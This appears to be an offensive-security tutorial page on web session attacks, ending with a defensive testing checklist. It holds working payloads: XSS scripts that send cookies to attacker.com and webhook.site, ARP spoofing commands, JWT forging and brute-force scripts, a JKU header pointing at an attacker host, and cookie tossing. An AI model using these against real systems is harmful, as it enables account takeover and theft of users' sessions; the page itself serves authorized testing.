Session Attacks

Master session hijacking, cookie theft, and token manipulation techniques to maintain and expand access after initial exploitation.

Authorization Required

Session attacks can have significant impact. Ensure explicit authorization and document all session tokens captured during testing.

🎯 Session Attack Fundamentals

Session Hijacking: Stealing or predicting session tokens to impersonate authenticated users
Cookie Theft: Extracting session cookies via XSS, network sniffing, or client-side attacks
Token Manipulation: Modifying JWTs, API tokens, or session identifiers to escalate privileges
Session Fixation: Forcing victims to use attacker-controlled session IDs

Tools & Resources

Burp Suite

Intercept & modify session tokens

burpsuite Docs →

jwt_tool

JWT testing and forging toolkit

pip install jwt_tool GitHub →

evilginx2

MITM phishing & session theft

go install evilginx2@latest GitHub →

mitmproxy

Interactive HTTPS proxy

pip install mitmproxy Docs →

Session Hijacking Techniques

Cookie Theft via XSS

If cookies lack the HttpOnly flag, JavaScript can access and exfiltrate them.

cookie_theft_xss.js
javascript
// Basic cookie exfiltration
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>

// Alternative using fetch
<script>
fetch('https://attacker.com/steal?c='+btoa(document.cookie));
</script>

// Using external service for testing
<script>
document.location='https://webhook.site/YOUR-ID?c='+document.cookie;
</script>

// More stealthy exfiltration (DNS)
<script>
var c = btoa(document.cookie);
var img = new Image();
img.src = 'https://'+c+'.attacker.com/x.gif';
</script>

Session Token Prediction

Analyze session token patterns to predict valid tokens.

session_prediction.sh
bash
# Collect multiple session tokens
for i in {1..100}; do
  curl -s -c - 'https://target.com/login' | grep -i session
  sleep 0.1
done > session_tokens.txt

# Analyze token entropy with Burp Sequencer
# Import tokens and run statistical analysis

# Python script to analyze token patterns
import hashlib
import time

tokens = open('session_tokens.txt').readlines()

# Check for timestamp-based tokens
for token in tokens:
    # Decode base64 if needed
    try:
        decoded = base64.b64decode(token)
        print(f"Decoded: {decoded}")
    except:
        pass
    
    # Check for sequential patterns
    # Look for embedded timestamps

# Burp Intruder - brute force sequential tokens
# If tokens are sequential: SESS001, SESS002, etc.
# Use Numbers payload: 1-10000

Network-Based Session Theft

network_session_theft.sh
bash
# Capture session cookies with tcpdump (unencrypted traffic)
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -i 'cookie\|session'

# Using mitmproxy for HTTPS interception
mitmproxy --mode transparent --showhost

# Capture with Wireshark filter
http.cookie contains "session" or http.set_cookie contains "session"

# ARP spoofing to position for MITM (with authorization!)
# Using arpspoof
sudo arpspoof -i eth0 -t <victim_ip> <gateway_ip>
sudo arpspoof -i eth0 -t <gateway_ip> <victim_ip>

# Using Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.10
> arp.spoof on
> net.sniff on

Session Fixation Attacks

Session fixation forces a victim to use an attacker-controlled session ID, allowing account takeover after the victim authenticates.

session_fixation.sh
bash
# Step 1: Attacker gets a valid session ID
curl -c cookies.txt 'https://target.com/login'
# Extract session ID: PHPSESSID=abc123

# Step 2: Send fixation link to victim
# URL-based fixation
https://target.com/login?PHPSESSID=abc123

# Cookie-based fixation (via XSS or subdomain)
<script>document.cookie='PHPSESSID=abc123';</script>

# Step 3: Wait for victim to authenticate

# Step 4: Use the fixed session
curl -b 'PHPSESSID=abc123' 'https://target.com/dashboard'

# Testing for session fixation vulnerability
# 1. Note pre-auth session ID
# 2. Authenticate
# 3. Check if session ID changed
# If same = vulnerable

# Python test script
import requests

# Get pre-auth session
s = requests.Session()
s.get('https://target.com/')
pre_auth = s.cookies.get('PHPSESSID')

# Authenticate
s.post('https://target.com/login', data={'user': 'test', 'pass': 'test'})
post_auth = s.cookies.get('PHPSESSID')

if pre_auth == post_auth:
    print('[VULNERABLE] Session ID not regenerated after login!')
else:
    print('[SECURE] Session ID regenerated')

JWT Token Attacks

JWT Structure

JWTs have three parts: Header.Payload.Signature (base64 encoded). Many attacks target weak signature validation or algorithm confusion.

None Algorithm Attack

jwt_none_algorithm.sh
bash
# Decode JWT to see structure
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' | cut -d'.' -f1 | base64 -d

# None algorithm bypass
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}

# Create modified token (no signature)
python3 << 'EOF'
import base64
import json

# Modified header - algorithm none
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234567890", "name": "admin", "role": "admin", "iat": 1516239022}

# Base64 encode (URL-safe, no padding)
def b64encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()

# Create token with empty signature
token = f"{b64encode(header)}.{b64encode(payload)}."
print(token)
EOF

# Using jwt_tool
jwt_tool <token> -X a  # Test algorithm 'none'
jwt_tool <token> -I -pc role -pv admin  # Inject claim

Algorithm Confusion (RS256 to HS256)

jwt_algorithm_confusion.sh
bash
# If server uses RS256 but accepts HS256
# Attacker can sign with the public key

# Get the public key (often in /jwks.json or /.well-known/jwks.json)
curl -s 'https://target.com/.well-known/jwks.json' | jq

# Convert JWK to PEM
python3 << 'EOF'
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt
import json
import requests

# Get JWKS
jwks = requests.get('https://target.com/.well-known/jwks.json').json()
public_key_jwk = jwks['keys'][0]

# Use public key as HMAC secret
# Sign new token with HS256 using public key as secret
payload = {"sub": "admin", "role": "administrator"}

# Read public key as bytes
with open('public_key.pem', 'rb') as f:
    public_key = f.read()

# Create forged token
forged = jwt.encode(payload, public_key, algorithm='HS256')
print(forged)
EOF

# Using jwt_tool
jwt_tool <token> -X k -pk public_key.pem  # Key confusion attack

JWT Secret Brute Force

jwt_bruteforce.sh
bash
# Brute force weak JWT secrets
# Using jwt_tool
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt

# Using hashcat (mode 16500 for JWT)
# Extract hash format from JWT
echo '<full_jwt_token>' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Using John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# Python brute force script
import jwt
import sys

token = sys.argv[1]
wordlist = open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore')

for secret in wordlist:
    secret = secret.strip()
    try:
        jwt.decode(token, secret, algorithms=['HS256'])
        print(f'[+] Secret found: {secret}')
        break
    except jwt.InvalidSignatureError:
        continue

# Common weak secrets to try:
# secret, password, 123456, qwerty, admin, key

JKU/X5U Header Injection

jwt_jku_injection.sh
bash
# JKU (JWK Set URL) header injection
# Attacker hosts malicious JWKS endpoint

# Step 1: Generate key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem

# Step 2: Create JWKS file (host on attacker server)
python3 << 'EOF'
import json
from jwcrypto import jwk

with open('attacker_public.pem', 'rb') as f:
    key = jwk.JWK.from_pem(f.read())
    
jwks = {"keys": [json.loads(key.export())]}
print(json.dumps(jwks, indent=2))
EOF

# Step 3: Create token with malicious jku header
python3 << 'EOF'
import jwt
import json

header = {
    "alg": "RS256",
    "typ": "JWT",
    "jku": "https://attacker.com/jwks.json"  # Attacker-controlled
}

payload = {"sub": "admin", "role": "administrator"}

with open('attacker_private.pem', 'rb') as f:
    private_key = f.read()

token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
EOF

# Using jwt_tool
jwt_tool <token> -X s -ju https://attacker.com/jwks.json

Cookie Attribute Analysis

cookie_analysis.sh
bash
# Analyze cookie security attributes
curl -v 'https://target.com/login' 2>&1 | grep -i 'set-cookie'

# Check for missing security flags:
# - HttpOnly: Prevents JavaScript access
# - Secure: Only sent over HTTPS
# - SameSite: CSRF protection

# Python cookie analyzer
import requests

r = requests.get('https://target.com/')
for cookie in r.cookies:
    print(f"Name: {cookie.name}")
    print(f"  Value: {cookie.value}")
    print(f"  Domain: {cookie.domain}")
    print(f"  Path: {cookie.path}")
    print(f"  Secure: {cookie.secure}")
    print(f"  HttpOnly: {cookie.has_nonstandard_attr('HttpOnly')}")
    print()

# Burp Suite - inspect Set-Cookie headers
# Look for:
# - Missing HttpOnly (can steal via XSS)
# - Missing Secure (can intercept on HTTP)
# - SameSite=None (vulnerable to CSRF)

Cookie Tampering

cookie_tampering.sh
bash
# Decode and modify cookie values
# Base64 encoded cookies
echo 'YWRtaW49ZmFsc2U=' | base64 -d
# admin=false

echo 'admin=true' | base64
# YWRtaW49dHJ1ZQo=

# Serialized PHP session cookies
# Identify: a:2:{s:4:"user";s:5:"guest";s:5:"admin";b:0;}
# Modify: a:2:{s:4:"user";s:5:"admin";s:5:"admin";b:1;}

# JSON cookies
# Original: {"user":"guest","role":"user"}
# Modified: {"user":"admin","role":"admin"}

# Test modified cookies
curl -b 'session=YWRtaW49dHJ1ZQ==' 'https://target.com/admin'

# Cookie signing bypass attempts
# If signed: value.signature
# Try removing signature
# Try truncating signature
# Try signature confusion attacks

Cookie Scope Attacks

cookie_scope_attacks.sh
bash
# Cookie scope manipulation
# If cookie is set for .example.com
# Accessible from any subdomain

# Subdomain takeover for cookie theft
# 1. Find dangling DNS records
subfinder -d example.com | httpx -sc -title | grep -v 200

# 2. Claim abandoned subdomain
# 3. Host malicious page to steal cookies

# Cookie tossing attack
# Inject cookie from subdomain to override parent domain cookie
# On attacker.example.com:
<script>
document.cookie = "session=attacker_token; domain=.example.com; path=/";
</script>

# Parent domain path confusion
# Cookie set for /admin/ won't be sent to /Admin/
# Test case sensitivity in cookie paths

Session Replay Attacks

session_replay.sh
bash
# Capture and replay authenticated requests
# Using Burp Suite
# 1. Intercept authenticated request
# 2. Send to Repeater
# 3. Replay after session should expire

# Test session timeout
# 1. Login and note session token
# 2. Wait for timeout period
# 3. Attempt to use session token
curl -b 'PHPSESSID=old_token' 'https://target.com/dashboard'

# Test concurrent sessions
# 1. Login on device A
# 2. Login on device B
# 3. Check if device A session is invalidated

# Test logout functionality
# 1. Login and save session token
# 2. Logout
# 3. Try using old session token
session_token="abc123"
curl -b "session=$session_token" 'https://target.com/logout' -v
curl -b "session=$session_token" 'https://target.com/dashboard'

# Test session invalidation after password change
# 1. Login on multiple devices
# 2. Change password
# 3. Check if other sessions are invalidated

API Token Attacks

api_token_attacks.sh
bash
# Find exposed API tokens
# Check JavaScript files
curl -s 'https://target.com/app.js' | grep -Ei 'api[_-]?key|token|secret|bearer'

# Check HTML source
curl -s 'https://target.com/' | grep -Ei 'data-token|api-key|authorization'

# Check mobile app traffic
# Use mitmproxy or Burp to intercept API calls
mitmproxy --mode regular
# Configure mobile device proxy to attacker

# Token in URL (logged in web servers, referer headers)
# https://api.target.com/data?api_key=secret123
# Check for token leakage in Referer header

# Bearer token manipulation
# Original: Authorization: Bearer user_token
# Test: Authorization: Bearer admin_token

# Test token scope
# Try accessing endpoints beyond token's intended scope
for endpoint in /admin /users /config /debug; do
  curl -H "Authorization: Bearer $token" "https://api.target.com$endpoint"
done

# Check for token reuse across environments
# Dev token on prod, staging token on prod, etc.

OAuth/OIDC Session Attacks

oauth_session_attacks.sh
bash
# OAuth token theft via open redirect
# Find open redirect in redirect_uri validation
https://oauth.target.com/authorize?
  response_type=code&
  client_id=app&
  redirect_uri=https://target.com/callback/../../../attacker.com&
  state=xyz

# Authorization code interception
# If code is leaked (referer, logs), attacker can exchange for token
# Mitigated by PKCE - test if PKCE is enforced

# Test PKCE bypass
# Try omitting code_verifier in token exchange
curl -X POST 'https://oauth.target.com/token'   -d 'grant_type=authorization_code'   -d 'code=AUTHORIZATION_CODE'   -d 'client_id=app'   -d 'redirect_uri=https://target.com/callback'
  # Note: no code_verifier

# Implicit flow token theft (deprecated but still seen)
# Token in URL fragment can be leaked via referer
https://oauth.target.com/authorize?
  response_type=token&
  client_id=app&
  redirect_uri=https://target.com/callback

# Token returned in fragment: https://target.com/callback#access_token=xxx
# Attacker page can read via document.location.hash

# State parameter bypass
# Try requests without state parameter
# Try reusing old state values
# Try predictable state values

Session Attack Testing Checklist

🍪 Cookie Security

  • ☐ HttpOnly flag present on session cookies
  • ☐ Secure flag present (HTTPS only)
  • ☐ SameSite attribute properly configured
  • ☐ Cookie scope properly restricted
  • ☐ Sensitive data not stored in cookies

🔑 Session Management

  • ☐ Session ID regenerated after login
  • ☐ Session invalidated on logout
  • ☐ Appropriate session timeout configured
  • ☐ Concurrent session controls in place
  • ☐ Session tokens have sufficient entropy

🎫 JWT Security

  • ☐ Algorithm 'none' rejected
  • ☐ Algorithm confusion prevented
  • ☐ Strong signing secret used
  • ☐ JKU/X5U headers validated
  • ☐ Token expiration enforced

🔐 OAuth/API Tokens

  • ☐ PKCE enforced for OAuth flows
  • ☐ State parameter validated
  • ☐ Redirect URI strictly validated
  • ☐ API tokens properly scoped
  • ☐ Token rotation implemented

Practice Labs